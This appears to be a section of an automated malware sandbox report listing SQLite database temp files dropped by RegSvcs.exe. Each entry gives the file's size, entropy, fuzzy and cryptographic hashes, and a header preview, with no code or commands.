File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp274C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp275D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D15.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D26.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D36.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D37.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D48.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D49.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D59.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D6A.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D7B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp5C77.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp843B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp844C.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp845D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp846D.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp847E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp848E.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp848F.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp84BF.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB13.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB23.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB43.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB44.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB45.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmpBB66.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
